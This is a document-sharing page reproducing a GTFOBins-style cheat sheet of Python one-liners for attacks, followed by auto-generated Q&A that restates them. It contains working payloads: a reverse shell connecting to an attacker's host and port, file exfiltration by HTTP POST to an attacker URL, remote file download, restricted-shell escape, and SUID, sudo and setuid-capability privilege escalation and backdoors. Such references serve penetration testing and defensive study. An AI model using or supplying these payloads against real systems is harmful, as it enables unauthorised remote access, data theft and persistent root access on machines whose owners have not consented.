0% found this document useful (0 votes)
45 views3 pages

Python Payloads for Privilege Escalation

Uploaded by

Akhilesh Mishra
Copyright
© All Rights Reserved
We take content rights seriously. If you suspect this is your content, claim it here.
Available Formats
Download as PDF, TXT or read online on Scribd
0% found this document useful (0 votes)
45 views3 pages

Python Payloads for Privilege Escalation

Uploaded by

Akhilesh Mishra
Copyright
© All Rights Reserved
We take content rights seriously. If you suspect this is your content, claim it here.
Available Formats
Download as PDF, TXT or read online on Scribd

..

/ python Star 10,322

Shell Reverse shell File upload File download File write File read Library load SUID Sudo

Capabilities

The payloads are compatible with both Python version 2 and 3.

Shell
It can be used to break out from restricted environments by spawning an interactive system shell.

python -c 'import os; [Link]("/bin/sh")'

Reverse shell
It can send back a reverse shell to a listening attacker to open a remote network access.

Run socat file:`tty`,raw,echo=0 tcp-listen:12345 on the attacker box to receive the shell.

export RHOST=[Link]
export RPORT=12345
python -c 'import sys,socket,os,pty;s=[Link]()
[Link](([Link]("RHOST"),int([Link]("RPORT"))))
[os.dup2([Link](),fd) for fd in (0,1,2)]
[Link]("/bin/sh")'

File upload
It can exfiltrate files on the network.
(a)
Send local file via “d” parameter of a HTTP POST request. Run an HTTP service on the
attacker box to collect the file.

export URL=[Link]
export LFILE=file_to_send
python -c 'import sys; from os import environ as e
if sys.version_info.major == 3: import [Link] as r, [Link] as u
else: import urllib as u, urllib2 as r
[Link](e["URL"], bytes([Link]({"d":open(e["LFILE"]).read()}).encode()))'

(b)
Serve files in the local folder running an HTTP server.

export LPORT=8888
python -c 'import sys; from os import environ as e
if sys.version_info.major == 3: import [Link] as s, socketserver as ss
else: import SimpleHTTPServer as s, SocketServer as ss
[Link](("", int(e["LPORT"])), [Link]).serve_forever()'

File download
It can download remote files.

Fetch a remote file via HTTP GET request.

export URL=[Link]
export LFILE=file_to_save
python -c 'import sys; from os import environ as e
if sys.version_info.major == 3: import [Link] as r
else: import urllib as r
[Link](e["URL"], e["LFILE"])'

File write
It writes data to files, it may be used to do privileged writes or write files outside a restricted file
system.

python -c 'open("file_to_write","w+").write("DATA")'

File read
It reads data from files, it may be used to do privileged reads or disclose files outside a restricted
file system.

python -c 'print(open("file_to_read").read())'

Library load
It loads shared libraries that may be used to run code in the binary execution context.

python -c 'from ctypes import cdll; [Link]("[Link]")'

SUID
If the binary has the SUID bit set, it does not drop the elevated privileges and may be abused to
access the file system, escalate or maintain privileged access as a SUID backdoor. If it is used to
run sh -p , omit the -p argument on systems like Debian (<= Stretch) that allow the default sh
shell to run with SUID privileges.

This example creates a local SUID copy of the binary and runs it to maintain elevated privileges. To
interact with an existing SUID binary skip the first command and run the program using its original
path.

sudo install -m =xs $(which python) .

./python -c 'import os; [Link]("/bin/sh", "sh", "-p")'

Sudo
If the binary is allowed to run as superuser by sudo , it does not drop the elevated privileges and
may be used to access the file system, escalate or maintain privileged access.

sudo python -c 'import os; [Link]("/bin/sh")'

Capabilities
If the binary has the Linux CAP_SETUID capability set or it is executed by another binary with the
capability set, it can be used as a backdoor to maintain privileged access by manipulating its own
process UID.

cp $(which python) .
sudo setcap cap_setuid+ep python

./python -c 'import os; [Link](0); [Link]("/bin/sh")'

Common questions

Powered by AI

Using Python with SUID or sudo can bypass normal privilege restrictions, allowing maintenance of elevated access or execution of privileged tasks without dropping these privileges. For example, using `sudo python -c 'import os; os.system("/bin/sh")'` ensures that Python can access the file system or run commands as a superuser. This poses security risks as it could allow privilege escalation or the creation of backdoors, especially on systems improperly enforcing least privilege principles .

Network ports and URLs play a crucial role in Python's capability to transfer files across a network. Ports are utilized to define endpoints for sending or receiving data, essential for services like HTTP servers (e.g., `LPORT=8888`). URLs specify the remote location from or to which files are being downloaded or uploaded. Python scripts can use URLs for obtaining resources through HTTP requests, enabling versatile network automation and data handling .

Running Python commands directly from the command line is typically for quick, ad-hoc actions and may not involve any file handling. This is advantageous for testing and straightforward system operations. In contrast, integrating these commands into scripts provides structure, enabling complex logic, error handling, and modular design. Scripts facilitate repeated execution, automation, and documentation of processes, which is beneficial for comprehensive network management .

Python's environmental settings play an integral role in executing privileged or networked tasks by allowing dynamic interaction with system variables, such as those specifying network endpoints (`RHOST`, `RPORT`) or file path settings (`LFILE`). These settings are essential in scripts performing network communications or file operations, enabling contextual adaptability. Commands like `os.getenv()` dynamically retrieve these variables to define operation parameters efficiently and securely, while maintaining ease of adjustment for different deployments .

Loading shared libraries in Python can be executed with the`ctypes` module, as seen in the command: `python -c 'from ctypes import cdll; cdll.LoadLibrary("lib.so")'`. This allows execution of code in the context of the binary that loads the library. The major security risk arises if the library includes malicious code, potentially leading to arbitrary code execution or exploitation within the execution context, thereby posing a threat to system integrity .

Python can write to a file using a command like `python -c 'open("file_to_write","w+").write("DATA")'` and read a file using `python -c 'print(open("file_to_read").read())'`. These operations can be used against restricted file systems to disclose or modify sensitive files, potentially leaking or altering crucial data. The exploitation of these capabilities, especially with extended privileges, opens up vulnerabilities such as unauthorized data access or system manipulation .

`cap_setuid` capability allows processes to change their process UID on Linux systems, creating opportunities for maintaining privileged access. In Python, this is demonstrated with commands like `sudo setcap cap_setuid+ep python`. Such settings allow Python scripts to execute with elevated privileges, posing risks if misconfigured, as they may inadvertently grant unauthorized processes or users access to sensitive operations or data, thereby compromising security .

Python can facilitate exfiltration of files by sending them as parameters in HTTP POST requests or by serving files through an HTTP server using port forwarding. For downloading files, Python can perform an HTTP GET request using commands such as: `import urllib.request as r; r.urlretrieve(e["URL"], e["LFILE"]).` Exfiltration can be done by serving files in the local folder using an HTTP server with: `ss.TCPServer(("", int(e["LPORT"])), s.SimpleHTTPRequestHandler).serve_forever()` .

Python can be used to establish a reverse shell by connecting back to an attacker's listening service over the network. The key environmental variables involved in the process are RHOST (remote host) and RPORT (remote port) which specify the attacker's machine and port number. The following Python command can execute this action: `python -c 'import sys,socket,os,pty;s=socket.socket() s.connect((os.getenv("RHOST"),int(os.getenv("RPORT")))) [os.dup2(s.fileno(),fd) for fd in (0,1,2)] pty.spawn("/bin/sh")'` .

In restricted environments, Python can circumvent limitations through its capabilities to spawn shells, manipulate environment variables, and manage file I/O operations. These actions, when executed with elevated privileges (via SUID or sudo), allow unauthorized access or control. Consequently, these can facilitate privilege escalation by exploiting higher privilege processes or binaries, or create backdoors by modifying critical system files, thus undermining system defenses .

You might also like